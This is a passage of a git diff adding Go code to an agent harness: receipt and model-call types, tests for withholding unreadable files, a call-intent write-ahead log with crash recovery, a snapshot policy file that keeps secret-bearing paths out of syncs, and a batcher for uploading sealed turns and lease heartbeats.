is a process a call left alive. Argv[0] is a basename (L1). +type ServiceRec struct { + PID int `json:"pid"` + Argv []string `json:"argv"` + Ports []int `json:"ports,omitempty"` +} + +// ModelCall is one model call of the turn, by hashes. +type ModelCall struct { + Model string `json:"model"` + Role string `json:"role,omitempty"` + ParamsHash string `json:"params_hash"` + RequestHash string `json:"request_hash"` + ResponseHash string `json:"response_hash"` + TokensIn uint32 `json:"tokens_in"` + TokensOut uint32 `json:"tokens_out"` + TokensCached uint32 `json:"tokens_cached,omitempty"` + CostMicroUSD int64 `json:"cost_micro_usd"` +} + +// Receipt is what a phone needs to render a turn (SCHEMAS.md 5). +type Receipt struct { + V uint16 `json:"V"` + Transcript Range `json:"transcript_range"` + Calls []Call `json:"calls"` + Services []ServiceRec `json:"services,omitempty"` + ModelCalls []ModelCall `json:"model_calls,omitempty"` + // SealedAtMs is when the seal was made. The turn line says it too, but the + // line of a chat's newest turn is not in the log a take carries and the + // receipt, being in the sealed tree, is. Zero in a receipt made before it was + // written. + SealedAtMs int64 `json:"sealed_at_ms,omitempty"` +} + +// Executed is one finished call as the device knows it: the receipt row, the +// processes it left, and, for an external call only, its output. +type Executed struct { + Call Call `json:"call"` + Services []ServiceRec `json:"services,omitempty"` + Exact bool `json:"exact"` + // Trigger is why the call ran: Setup for a setup turn's call. Empty is an + // ordinary run. + Trigger Trigger `json:"trigger,omitempty"` + // Changed is the workspace paths the call is known to have changed; nil is + // unknown, which is what any call that could touch anything leaves. + Changed []string `json:"changed,omitempty"` + Stdout []byte `json:"stdout,omitempty"` + Stderr []byte `json:"stderr,omitempty"` + // Command and Dir are the command line a shell call ran and the folder it ran + // in. They are for the seal that follows the call and are not kept: the + // receipt names a call by hash, and a command line may hold a secret. + Command string `json:"-"` + Dir string `json:"-"` +} + +// TurnInfo is everything the caller knows about the turn being sealed. +type TurnInfo struct { + Trigger Trigger + Calls []Executed + Models []ModelCall + // Changed lists the cell-relative paths that changed since the previous + // seal. Nil means unknown: the engine walks the whole folder, and its stat + // cache keeps that to one stat per unchanged file. Non-nil is a promise + // that nothing else changed, and the engine visits only these paths. + Changed []string +} + +// Sealed is a finished seal. +type Sealed struct { + Turn Turn + Receipt Receipt +} + +// Store seals a cell. The stage 0 implementation spawns the engine per seal; +// a daemon can replace it without touching callers. +type Store interface { + Seal(ctx context.Context, c cell.Cell, info TurnInfo) (Sealed, error) +} diff --git a/internal/cellstore/unreadable_test.go b/internal/cellstore/unreadable_test.go new file mode 100644 index 0000000000..8ff383d065 --- /dev/null +++ b/internal/cellstore/unreadable_test.go @@ -0,0 +1,222 @@ +package cellstore + +import ( + "context" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +// skipIfRoot skips a test that needs a file the process cannot read: root reads +// a file with no permissions. +func skipIfRoot(t *testing.T) { + t.Helper() + if os.Geteuid() == 0 { + t.Skip("root reads files whatever their mode") + } +} + +// lookAndNote is one seal's screening and the record step that follows it. +func (r *guardRig) lookAndNote(changed ...string) Screened { + r.t.Helper() + got := r.look(changed...) + if err := noteLeftOut(r.cell, r.tree, got, nil); err != nil { + r.t.Fatal(err) + } + return got +} + +func (r *guardRig) recorded() []inventory.Withheld { + r.t.Helper() + inv, err := inventory.Open(r.cell.Root) + if err != nil { + r.t.Fatal(err) + } + return inv.Snapshot().Withheld +} + +func (r *guardRig) chmod(rel string, mode os.FileMode) { + r.t.Helper() + if err := os.Chmod(filepath.Join(r.tree, rel), mode); err != nil { + r.t.Fatal(err) + } + r.t.Cleanup(func() { os.Chmod(filepath.Join(r.tree, rel), 0o755) }) +} + +func TestUnreadableFileIsSetApartAndNamed(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write("odd.bin", "x") + r.write("src/app.py", "print('hi')\n") + r.chmod("odd.bin", 0) + + got := r.lookAndNote() + + if p := r.policy(); !reflect.DeepEqual(p.unreadable, []string{"odd.bin"}) || len(p.withheld) != 0 { + t.Fatalf("policy unreadable %v withheld %v, want only odd.bin unreadable", p.unreadable, p.withheld) + } + if want := []Apart{{"odd.bin", reasonUnreadable}}; !reflect.DeepEqual(got.Apart, want) { + t.Fatalf("apart %+v, want %+v", got.Apart, want) + } + want := []inventory.Withheld{{Path: "odd.bin", Reason: reasonUnreadable}} + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("record %+v, want %+v", rec, want) + } + if len(r.notice) != 1 || !strings.Contains(r.notice[0], "odd.bin cannot be read here") { + t.Fatalf("notices %q", r.notice) + } + r.lookAndNote() + if len(r.notice) != 1 { + t.Fatalf("a path already set apart was announced again: %q", r.notice) + } +} + +func TestFixedModePutsTheFileBackAtTheNextLook(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write("odd.bin", "x") + r.chmod("odd.bin", 0) + r.lookAndNote("odd.bin") + r.chmod("odd.bin", 0o644) + + r.lookAndNote("src/other.go") + + if p := r.policy(); len(p.unreadable) != 0 { + t.Fatalf("still unreadable after the mode was fixed: %v", p.unreadable) + } + if rec := r.recorded(); len(rec) != 0 { + t.Fatalf("record still names %+v", rec) + } +} + +func TestUnreadableFolderIsNamedByItsOwnPath(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write("locked/a.txt", "a") + r.write("open/b.txt", "b") + r.chmod("locked", 0) + + r.lookAndNote() + + if got := r.policy().unreadable; !reflect.DeepEqual(got, []string{"locked"}) { + t.Fatalf("unreadable %v, want [locked]", got) + } +} + +func TestSecretAndUnreadableKeepTheirOwnBlocks(t *testing.T) { + skipIfRoot(t) + r := newRig(t) + r.write(".env", "K="+fakeKey+"\n") + r.write("odd.bin", "x") + r.chmod("odd.bin", 0) + r.lookAndNote() + p := r.policy() + if !reflect.DeepEqual(p.withheld, []string{".env"}) || !reflect.DeepEqual(p.unreadable, []string{"odd.bin"}) { + t.Fatalf("withheld %v unreadable %v", p.withheld, p.unreadable) + } +} + +// answering is a Transport that answers materialize with one fixed body. +type answering string + +func (a answering) Do(context.Context, Target, Op) ([]byte, error) { return []byte(a), nil } + +func TestMaterializeRecordsHeldNamesAndLaterLooksKeepThem(t *testing.T) { + r := newRig(t) + e := syncEngineOver(answering(`{"snapshot":"s","held":[{"path":"Readme.md","reason":"same name as README.md here"}]}`)) + e.Target = func(c cell.Cell) Target { return Target{Tree: r.tree, CellDir: r.state()} } + if err := e.Materialize(context.Background(), r.cell, "h"); err != nil { + t.Fatal(err) + } + if got := r.policy().held; !reflect.DeepEqual(got, []string{"Readme.md"}) { + t.Fatalf("held block %v", got) + } + want := []inventory.Withheld{{Path: "Readme.md", Reason: "same name as README.md here"}} + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("record %+v, want %+v", rec, want) + } + + r.write("README.md", "x") + got := r.lookAndNote() + + if !reflect.DeepEqual(r.policy().held, []string{"Readme.md"}) { + t.Fatalf("a seal changed the held block: %v", r.policy().held) + } + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("the specific reason was lost: %+v", rec) + } + if len(got.Apart) != 1 || got.Apart[0].Path != "Readme.md" { + t.Fatalf("apart %+v", got.Apart) + } +} + +func TestMaterializeWithoutHeldNamesWritesNothing(t *testing.T) { + r := newRig(t) + e := syncEngineOver(answering(`{"snapshot":"s"}`)) + e.Target = func(c cell.Cell) Target { return Target{Tree: r.tree, CellDir: r.state()} } + if err := e.Materialize(context.Background(), r.cell, "h"); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(filepath.Join(r.state(), policyName)); !os.IsNotExist(err) { + t.Fatalf("a policy file appeared: %v", err) + } +} + +func TestPolicyRoundTripsEveryBlock(t *testing.T) { + p := policyFile{ + user: []string{"exclude mine"}, + withheld: []string{".env"}, + rebuilt: []string{"node_modules"}, + unreadable: []string{"odd.bin"}, + held: []string{"Readme.md"}, + } + got := parsePolicy(p.String()) + if !reflect.DeepEqual(got, p) { + t.Fatalf("round trip %+v, want %+v\n%s", got, p, p.String()) + } + if again := p.holding([]string{"Zed", "Readme.md"}); !reflect.DeepEqual(again.held, []string{"Readme.md", "Zed"}) { + t.Fatalf("holding %v", again.held) + } +} + +// wiping is a Transport that does what a real restore does to the cell's own +// folder: the sender's policy file and record replace this machine's. +type wiping struct { + r *guardRig + body string +} + +func (w wiping) Do(context.Context, Target, Op) ([]byte, error) { + _ = os.Remove(filepath.Join(w.r.state(), policyName)) + _ = inventory.Record(w.r.cell.Root, func(inv *inventory.Inventory) { inv.Withheld = nil }) + return []byte(w.body), nil +} + +func TestAWarmTakeKeepsTheNamesAnEarlierTakeSetApart(t *testing.T) { + r := newRig(t) + target := func(c cell.Cell) Target { return Target{Tree: r.tree, CellDir: r.state()} } + first := syncEngineOver(answering(`{"snapshot":"s","held":[{"path":"Readme.md","reason":"same name as README.md here"}]}`)) + first.Target = target + if err := first.Materialize(context.Background(), r.cell, "h1"); err != nil { + t.Fatal(err) + } + + warm := syncEngineOver(wiping{r, `{"snapshot":"s2"}`}) + warm.Target = target + if err := warm.Materialize(context.Background(), r.cell, "h2"); err != nil { + t.Fatal(err) + } + + if got := r.policy().held; !reflect.DeepEqual(got, []string{"Readme.md"}) { + t.Fatalf("the earlier name was forgotten: %v", got) + } + want := []inventory.Withheld{{Path: "Readme.md", Reason: "same name as README.md here"}} + if rec := r.recorded(); !reflect.DeepEqual(rec, want) { + t.Fatalf("record %+v, want %+v", rec, want) + } +} diff --git a/internal/cellstore/wal.go b/internal/cellstore/wal.go new file mode 100644 index 0000000000..0eaeb8d9d6 --- /dev/null +++ b/internal/cellstore/wal.go @@ -0,0 +1,253 @@ +package cellstore + +import ( + "bufio" + "bytes" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "strconv" + "sync" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// Intent is a call's promise to run (SCHEMAS.md 6): written and fsynced before +// the call, so a death mid-call leaves it behind. +type Intent struct { + V uint16 `json:"V"` + Tool string `json:"tool"` + ArgsHash string `json:"args_hash"` + Started int64 `json:"started"` + SideEffect string `json:"side_effect"` + // Brief is the call's arguments in a few words, for a person to recognise it + // by; the hash cannot be read back. Version 2. + Brief string `json:"brief,omitempty"` + // Groups are the process groups the call started, filled in by replay from + // the records that named them. Version 2. + Groups []GroupRec `json:"-"` +} + +// key is the join between an intent, its completion and its receipt row. +func (i Intent) key() string { return joinKey(i.ArgsHash, i.Started) } + +func joinKey(argsHash string, started int64) string { + return argsHash + "@" + strconv.FormatInt(started, 10) +} + +// MayRerun is the recovery rule stated as data: a local call ran with the +// network denied, so its effects were confined to a snapshot that is being +// discarded, and running it again is allowed. An external call is never rerun +// by the harness (L9). Nothing in this package acts on the answer; it exists +// so a surface can say which of the two an incomplete call is. +func (i Intent) MayRerun() bool { return i.SideEffect == string(sideLocal) } + +const sideLocal = executor.EffectLocal + +// Recovery is what a reopened WAL found. +type Recovery struct { + // Incomplete intents have no completion: the call may or may not have run. + // They are surfaced and left in the log until resolved. + Incomplete []Intent + // Completed calls finished but were never sealed; the next seal takes them. + Completed []Executed +} + +// walV is the version of the lines this log writes. Version 2 added the intent's +// brief and the group record; a version 1 line reads as one with neither. +const walV = 2 + +// record is one WAL line. V is first (L11). +type record struct { + V uint16 `json:"V"` + Op string `json:"op"` + Intent Intent `json:"intent"` + Done *Executed `json:"done,omitempty"` + Group *GroupRec `json:"group,omitempty"` +} + +// WAL is the device-local call-intent log: append-only JSON lines, outside the +// cell, never synced. +type WAL struct { + mu sync.Mutex + path string +} + +// OpenWAL opens the log at path and reports what it holds. +func OpenWAL(path string) (*WAL, Recovery, error) { + w := &WAL{path: path} + recs, err := w.read() + if err != nil { + return nil, Recovery{}, err + } + return w, replay(recs), nil +} + +// Begin logs the intent to run a call. +func (w *WAL) Begin(i Intent) error { return w.append(record{V: walV, Op: opIntent, Intent: i}) } + +// Started logs a process group the call has started, so a reopen can end it if +// the session that owned it is gone. +func (w *WAL) Started(i Intent, g GroupRec) error { + return w.append(record{V: walV, Op: opGroup, Intent: i, Group: &g}) +} + +// Finish logs a call's completion with what it produced. +func (w *WAL) Finish(i Intent, e Executed) error { + return w.append(record{V: walV, Op: opDone, Intent: i, Done: &e}) +} + +// Resolve closes an incomplete intent once the model or the person has dealt +// with it. It is the only way an incomplete intent leaves the log. +func (w *WAL) Resolve(i Intent) error { return w.append(record{V: walV, Op: opResolved, Intent: i}) } + +// Sealed drops the records of calls whose turn has sealed, keeping every other +// record: an intent still in flight, a completion the seal did not take. +func (w *WAL) Sealed(calls []Executed) error { + w.mu.Lock() + defer w.mu.Unlock() + recs, err := w.read() + if err != nil { + return err + } + gone := map[string]bool{} + for _, e := range calls { + gone[joinKey(e.Call.ArgsHash, e.Call.Started)] = true + } + var keep []record + for _, r := range recs { + if !gone[r.Intent.key()] { + keep = append(keep, r) + } + } + return w.rewrite(keep) +} + +const ( + opIntent = "intent" + opDone = "done" + opResolved = "resolved" + opGroup = "group" +) + +func (w *WAL) append(r record) error { + line, err := json.Marshal(r) + if err != nil { + return err + } + w.mu.Lock() + defer w.mu.Unlock() + if err := os.MkdirAll(filepath.Dir(w.path), 0o700); err != nil { + return err + } + f, err := os.OpenFile(w.path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + if _, err := f.Write(append(line, '\n')); err != nil { + _ = f.Close() + return err + } + if err := f.Sync(); err != nil { + _ = f.Close() + return err + } + return f.Close() +} + +// read returns every record. A final line torn by a crash is dropped: it was +// never acknowledged, so nothing depended on it. +func (w *WAL) read() ([]record, error) { + raw, err := os.ReadFile(w.path) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var recs []record + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + var r record + if json.Unmarshal(sc.Bytes(), &r) == nil { + recs = append(recs, r) + } + } + return recs, sc.Err() +} + +func (w *WAL) rewrite(recs []record) error { + var buf bytes.Buffer + for _, r := range recs { + line, err := json.Marshal(r) + if err != nil { + return err + } + buf.Write(append(line, '\n')) + } + tmp := w.path + ".tmp" + if err := os.WriteFile(tmp, buf.Bytes(), 0o600); err != nil { + return err + } + if err := os.Rename(tmp, w.path); err != nil { + return fmt.Errorf("compact wal: %w", err) + } + return nil +} + +// replay folds the log into what is open, in order. Each op is one small step +// on the state; an unknown op is ignored so a newer writer's records are safe. +func replay(recs []record) Recovery { + st := &replayState{open: map[string]Intent{}} + steps := map[string]func(record){ + opIntent: func(r record) { st.open[r.Intent.key()] = r.Intent; st.order = append(st.order, r.Intent.key()) }, + opDone: func(r record) { delete(st.open, r.Intent.key()); st.finish(r) }, + opResolved: func(r record) { delete(st.open, r.Intent.key()) }, + opGroup: st.group, + } + for _, r := range recs { + if step, ok := steps[r.Op]; ok && r.V <= walV { + step(r) + } + } + return st.result() +} + +// group attaches a started process group to the intent it belongs to. A group +// for a call that is no longer open is dropped: nothing will ask about it. +func (s *replayState) group(r record) { + in, ok := s.open[r.Intent.key()] + if !ok || r.Group == nil { + return + } + in.Groups = append(in.Groups, *r.Group) + s.open[r.Intent.key()] = in +} + +func (s *replayState) finish(r record) { + if r.Done != nil { + s.done = append(s.done, *r.Done) + } +} + +type replayState struct { + open map[string]Intent + order []string + done []Executed +} + +func (s *replayState) result() Recovery { + rec := Recovery{Completed: s.done} + seen := map[string]bool{} + for _, k := range s.order { + if i, ok := s.open[k]; ok && !seen[k] { + seen[k] = true + rec.Incomplete = append(rec.Incomplete, i) + } + } + return rec +} diff --git a/internal/cellstore/withheld.go b/internal/cellstore/withheld.go new file mode 100644 index 0000000000..07c2218827 --- /dev/null +++ b/internal/cellstore/withheld.go @@ -0,0 +1,257 @@ +package cellstore + +import ( + "errors" + "os" + "path/filepath" + "sort" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// The engine keeps a path out of a snapshot when a .furrowpolicy says +// `exclude `. The harness keeps its own in the policy file of the cell's +// directory (the engine reads it beside the workspace's), so nothing of ours +// lands in the person's folder; a cell that seals its own folder uses that +// folder's file. Below one marker line sit the paths withheld because they +// carry secrets, and below another the install folders left out because a +// lockfile that does travel rebuilds them (docs/STAGE-1-CONTRACTS.md section 19). +// Two more blocks set single paths apart: those this machine cannot read (a file +// with no permissions, a folder it may not list) and those whose name this +// machine's file system cannot keep beside another's (written when a chat is +// taken here, never by a seal). +// The harness owns only those four blocks. The first three are rewritten whole +// at every seal, so a path a person has cleaned of its secret, or whose +// permissions now allow a read, goes back into the next snapshot; the held block +// is kept exactly as it was read. +const ( + policyName = ".furrowpolicy" + withheldTag = "# codeaf: withheld from every seal because they hold secrets (managed block)" + rebuiltTag = "# codeaf: left out because a lockfile rebuilds them (managed block)" + // unreadableTag and heldTag open the blocks of paths set apart one by one. + unreadableTag = "# codeaf: left out because they cannot be read here (managed block)" + heldTag = "# codeaf: left out because this machine's file system cannot keep both names (managed block)" + excludeWord = "exclude " +) + +// controlDirs are never scanned or excluded: the engine and the cell own them. +var controlDirs = map[string]bool{".git": true, ".furrow": true, ".cell": true} + +// policyFile is a tree's .furrowpolicy split at the marker. +type policyFile struct { + user []string // lines above the block, kept verbatim + withheld []string // paths the harness withholds because they hold secrets, sorted + rebuilt []string // install folders the harness leaves out, sorted + // unreadable is the paths this machine cannot read, sorted; a seal recomputes it. + unreadable []string + // held is the paths whose name this machine cannot keep; only a take writes it. + held []string + outside []string // the workspace's own lines, when the file is elsewhere +} + +// readPolicy reads the harness's policy file in dir and, when dir is not the +// tree, the person's own file in the tree. +func readPolicy(tree, dir string) (policyFile, error) { + p, err := readPolicyAt(dir) + if err != nil || dir == tree { + return p, err + } + theirs, err := readPolicyAt(tree) + p.outside = theirs.user + return p, err +} + +func readPolicyAt(dir string) (policyFile, error) { + raw, err := os.ReadFile(filepath.Join(dir, policyName)) + if errors.Is(err, os.ErrNotExist) { + return policyFile{}, nil + } + if err != nil { + return policyFile{}, err + } + return parsePolicy(string(raw)), nil +} + +func parsePolicy(text string) policyFile { + var p policyFile + block := &p.user + for _, line := range strings.Split(strings.TrimRight(text, "\n"), "\n") { + switch line { + case withheldTag: + block = &p.withheld + case rebuiltTag: + block = &p.rebuilt + case unreadableTag: + block = &p.unreadable + case heldTag: + block = &p.held + default: + *block = append(*block, managedLine(block == &p.user, line)) + } + } + return p +} + +// managedLine is a line of a block: a user line is kept verbatim, and a managed +// one is the path its `exclude` names. +func managedLine(user bool, line string) string { + if user { + return line + } + return strings.TrimPrefix(line, excludeWord) +} + +// with is the file with its secrets block replaced by paths. +func (p policyFile) with(paths []string) policyFile { + p.withheld = sorted(paths) + return p +} + +// leaving is the file with its install-folder block replaced by folders. +func (p policyFile) leaving(folders []string) policyFile { + p.rebuilt = sorted(folders) + return p +} + +// unreadableAre is the file with its unreadable block replaced by paths. +func (p policyFile) unreadableAre(paths []string) policyFile { + p.unreadable = sorted(paths) + return p +} + +// holding is the file with paths added to its held block, which keeps what it +// had: a held name stays held until a person clears the block by hand. +func (p policyFile) holding(paths []string) policyFile { + p.held = sorted(union(p.held, paths)) + return p +} + +func union(a, b []string) []string { + seen := map[string]bool{} + var out []string + for _, path := range append(append([]string(nil), a...), b...) { + if !seen[path] { + seen[path] = true + out = append(out, path) + } + } + return out +} + +func sorted(paths []string) []string { + out := append([]string(nil), paths...) + sort.Strings(out) + return out +} + +func (p policyFile) String() string { + lines := append([]string(nil), p.user...) + lines = appendBlock(lines, withheldTag, p.withheld) + lines = appendBlock(lines, rebuiltTag, p.rebuilt) + lines = appendBlock(lines, unreadableTag, p.unreadable) + lines = appendBlock(lines, heldTag, p.held) + if len(lines) == 0 || (len(lines) == 1 && lines[0] == "") { + return "" + } + return strings.Join(lines, "\n") + "\n" +} + +// appendBlock adds a managed block, which is absent when it holds nothing. +func appendBlock(lines []string, tag string, paths []string) []string { + if len(paths) == 0 { + return lines + } + lines = append(lines, tag) + for _, path := range paths { + lines = append(lines, excludeWord+path) + } + return lines +} + +// isWithheld reports whether rel is one of the harness's withheld paths. +func (p policyFile) isWithheld(rel string) bool { return inRules(p.withheld, rel) } + +// isRebuilt reports whether rel is inside an install folder the harness leaves +// out. +func (p policyFile) isRebuilt(rel string) bool { return inRules(p.rebuilt, rel) } + +// isUnreadable reports whether rel is one of the paths set apart because this +// machine cannot read it. +func (p policyFile) isUnreadable(rel string) bool { return inRules(p.unreadable, rel) } + +// isHeld reports whether rel is a path whose name this machine cannot keep. +func (p policyFile) isHeld(rel string) bool { return inRules(p.held, rel) } + +// isLeftOut reports whether rel is a control directory or a path the person +// excluded: nothing there is sealed, so nothing there is scanned. +func (p policyFile) isLeftOut(rel string) bool { + first, _, _ := strings.Cut(rel, "/") + return controlDirs[first] || inRules(p.userRules(), rel) +} + +func (p policyFile) userRules() []string { + var rules []string + for _, line := range append(append([]string(nil), p.user...), p.outside...) { + if rule, ok := strings.CutPrefix(strings.TrimSpace(line), excludeWord); ok { + rules = append(rules, strings.TrimSuffix(strings.TrimSpace(rule), "/")) + } + } + return rules +} + +// inRules is the engine's own test: a rule names a path or a subtree. +func inRules(rules []string, rel string) bool { + for _, rule := range rules { + if rel == rule || strings.HasPrefix(rel, rule+"/") { + return true + } + } + return false +} + +// write puts the file in dir, only when it differs. +func (p policyFile) write(dir string) error { + path := filepath.Join(dir, policyName) + want := p.String() + have, err := os.ReadFile(path) + if string(have) == want && (err == nil || want == "") { + return nil + } + if want == "" { + return ignoreMissing(os.Remove(path)) + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return err + } + return os.WriteFile(path, []byte(want), 0o644) +} + +func ignoreMissing(err error) error { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return err +} + +// Withheld is the folder a seal of c captures and the paths in it that the +// guard keeps out of every seal because they hold secrets, as the last seal +// left them. A cell never screened has none. The paths are relative to the +// folder and slash-separated. +func (e Engine) Withheld(c cell.Cell) (tree string, paths []string, err error) { + p, err := readPolicyAt(e.policyDir(c)) + return e.tree(c), p.withheld, err +} + +// apart is every path set apart one by one, each with its default reason: what +// the record names so the next machine can read that it was left out. +func (p policyFile) apart() []Apart { + var out []Apart + for _, path := range p.unreadable { + out = append(out, Apart{Path: path, Reason: reasonUnreadable}) + } + for _, path := range p.held { + out = append(out, Apart{Path: path, Reason: reasonHeld}) + } + return out +} diff --git a/internal/cellsync/batch.go b/internal/cellsync/batch.go new file mode 100644 index 0000000000..db01499aea --- /dev/null +++ b/internal/cellsync/batch.go @@ -0,0 +1,617 @@ +package cellsync + +import ( + "context" + "errors" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" +) + +const ( + // DefaultInterval is the first wait after a failed upload when the caller + // sets none; each further failure doubles it up to MaxBackoff. A successful + // upload is followed by no wait at all. + DefaultInterval = 5 * time.Second + // MaxBackoff caps the wait between flushes after failures. + MaxBackoff = 60 * time.Second +) + +// Publishing wraps the Stage 0 store: seal exactly as before, then note the +// turn. A seal never waits on the network. +type Publishing struct { + Inner cellstore.Store + Batcher *Batcher +} + +// Batcher publishes the newest sealed turn on an interval and keeps the lease +// alive while nothing is being published, each on its own loop so a slow upload +// cannot starve a heartbeat. +type Batcher struct { + Publisher *Publisher + Brancher Brancher + Driving *Driving + Interval time.Duration // default DefaultInterval + Info func() PublishInfo + OnFlush func(Flush) // telemetry hook + OnSuperseded func(Superseded) // the chat becomes a viewer (L7) + OnError func(error) // a refusal (see RefusalOf) the person should hear of, once per episode + Now func() time.Time // default time.Now; tests inject a fake clock + // Liveness, when set, is a watch socket that can vouch for the lease, so + // the heartbeat is sent only while it cannot. Nil beats every tick. + Liveness Liveness + // Sleep waits d or until ctx ends; tests inject a fake. Default is real time. + Sleep func(ctx context.Context, d time.Duration) error + + mu sync.Mutex // guards Driving, noted, stale, published, refusedSince and told; never held over the network + noted []string // heads of sealed turns not yet durable, oldest first + stale bool // the lease was lost and the orphans are not branched yet + published bool // a publish renewed the lease since the last heartbeat tick + beatSent uint32 // the pending count the directory last heard, from a beat or a publish + + refusedSince time.Time // when the present run of refusals began; zero while the relay is answering + told string // the kind of refusal the person has heard of in this run, so each is said once + + work wakeup // tells the flush loop a turn was noted, so an upload can start at once + idle wakeup // asks the flush loop to upload now: the agent stopped to wait for the person + freed wakeup // ends a halt: something the relay refused for has changed + + flushMu sync.Mutex // one flush, branch or close at a time + backoff time.Duration + failing bool // the last flush failed, so Idle must wait out the backoff +} + +// Superseded says another device continued the chat. +type Superseded struct { + // Branch is the new cell that holds this device's orphaned turns; empty + // when there were none and the chat simply becomes a viewer. + Branch string + // By is the device that took the chat, from the directory's lease holder; + // empty when the directory could not be asked. + By string +} + +// Flush is what one publish sent. +type Flush struct { + Head string + Turns int + Frames int + Objects int + Bytes int64 +} + +// Seal implements cellstore.Store. +func (p *Publishing) Seal(ctx context.Context, c cell.Cell, info cellstore.TurnInfo) (cellstore.Sealed, error) { + s, err := p.Inner.Seal(ctx, c, info) + if err == nil { + p.Batcher.Note(s.Turn) + } + return s, err +} + +// Note records a sealed turn and wakes the flush loop. It only takes a lock and +// never waits, so it is safe on the seal path. It sends nothing itself: the turn +// goes up with the next publish, which is also what tells the directory it is no +// longer pending. +func (b *Batcher) Note(t cellstore.Turn) { + b.mu.Lock() + if n := len(b.noted); n == 0 || b.noted[n-1] != t.ID { + b.noted = append(b.noted, t.ID) + } + b.mu.Unlock() + b.work.fire() +} + +// Idle says the agent has stopped and is waiting for the person, so the turns +// sealed since the last upload go up at once, even where an upload would +// otherwise wait (it does not cut a failure backoff short): nothing more is coming to share the request with, and this is the +// moment the person is likeliest to pick the chat up on another machine. It +// never waits, so it is safe to call from the turn's own goroutine. +func (b *Batcher) Idle() { b.idle.fire() } + +// Freed says something a refusal waited on has changed (space was freed on the +// relay, say), so a halted chat tries again now instead of waiting for a +// reopen. It never waits, so it is safe to call from any goroutine. +func (b *Batcher) Freed() { b.freed.fire() } + +// wakeup carries at most one pending request from a caller to a loop. The zero +// value is ready to use. +type wakeup struct { + once sync.Once + c chan struct{} +} + +func (w *wakeup) ch() chan struct{} { + w.once.Do(func() { w.c = make(chan struct{}, 1) }) + return w.c +} + +// fire leaves a request for the loop and never blocks; a request already +// waiting will be answered with the state this one would have seen. +func (w *wakeup) fire() { + select { + case w.ch() <- struct{}{}: + default: + } +} + +// Fence is the lease fence this device now holds, 0 before the cell has a record. +func (b *Batcher) Fence() uint64 { + d, _, _ := b.view() + return d.Fence +} + +// Pending is the number of noted turns that are not durable yet. +func (b *Batcher) Pending() uint32 { + b.mu.Lock() + defer b.mu.Unlock() + return uint32(len(b.noted)) +} + +// Run uploads noted turns and heartbeats each directory.HeartbeatEvery until +// ctx ends. Uploading is single-flight and latest-wins: every sealed turn asks +// for an upload at once, one upload is in flight at a time, and when it ends the +// newest head goes up if anything was sealed meanwhile. Coalescing comes from the +// upload's own duration, so a turn is durable within one upload of being sealed +// and a burst of N costs at most N uploads, usually two or three. Sealing is +// never held back: only the upload waits. +func (b *Batcher) Run(ctx context.Context) error { + var wg sync.WaitGroup + wg.Go(func() { b.beats(ctx) }) + b.flushes(ctx) + wg.Wait() + return ctx.Err() +} + +// flushes is the whole state machine: wait until a turn is noted, upload the +// newest, and rest only if the upload failed. A turn noted during an upload is +// still noted when it ends, so it goes straight up; a turn noted in a quiet +// period goes up at once. There is no separate rule for the first turn of a burst. +func (b *Batcher) flushes(ctx context.Context) { + for { + if b.awaitWork(ctx) != nil { + return + } + if err := b.rest(ctx, b.flush(ctx)); err != nil { + return + } + } +} + +// awaitWork returns once a turn is noted. An Idle with nothing noted has +// nothing to send, so it is dropped here and never shortens a later window. +func (b *Batcher) awaitWork(ctx context.Context) error { + for b.Pending() == 0 { + select { + case <-b.work.ch(): + case <-b.idle.ch(): + case <-ctx.Done(): + return ctx.Err() + } + } + return nil +} + +// rest waits out d, which is zero after a success. After a failure it waits the +// whole backoff whatever Idle says, and forgets an Idle +// that arrived meanwhile: when the relay is failing, a client that retried after +// every finished turn would be thousands of clients hammering it at once. The +// flush that ends the backoff sends what Idle wanted sent. +func (b *Batcher) rest(ctx context.Context, d time.Duration) error { + if d <= 0 { + return ctx.Err() + } + if !b.failing { + return b.nap(ctx, d, &b.idle) + } + err := b.nap(ctx, d, &b.freed) + select { + case <-b.idle.ch(): + default: + } + return err +} + +// beats renews the lease once every HeartbeatEvery in which nothing was +// published. A publish is proof of life and renews the lease itself, so a busy +// chat costs the relay no heartbeat at all. An idle one costs one per tick, +// unless a watch socket is vouching for the lease (Liveness): the socket's own +// pings are then the proof, and a beat is sent only when the count of pending +// turns has moved, which the directory shows, and at once when the socket stops +// vouching, so a dead socket is covered before the lease would have lapsed. +func (b *Batcher) beats(ctx context.Context) { + ctx, stop := context.WithCancel(ctx) + defer stop() + ticks, handled := b.ticker(ctx) + var held holding + defer held.release() + for { + held.follow(b.Liveness, b.view) + select { + case <-ticks: + b.tick(ctx, &held) + handled <- struct{}{} + case <-held.changes(): + b.socketMoved(ctx, &held) + case <-ctx.Done(): + return + } + } +} + +// ticker delivers one tick per HeartbeatEvery until ctx ends, and counts the +// next interval only once the caller says the tick was handled on handled, so +// a slow beat does not make two ticks run together. +func (b *Batcher) ticker(ctx context.Context) (ticks <-chan struct{}, handled chan<- struct{}) { + out, ack := make(chan struct{}), make(chan struct{}, 1) + go func() { + for b.sleeper()(ctx, directory.HeartbeatEvery) == nil { + select { + case out <- struct{}{}: + case <-ctx.Done(): + return + } + select { + case <-ack: + case <-ctx.Done(): + return + } + } + }() + return out, ack +} + +// tick is one heartbeat interval gone by. The lease needs a beat unless a +// publish 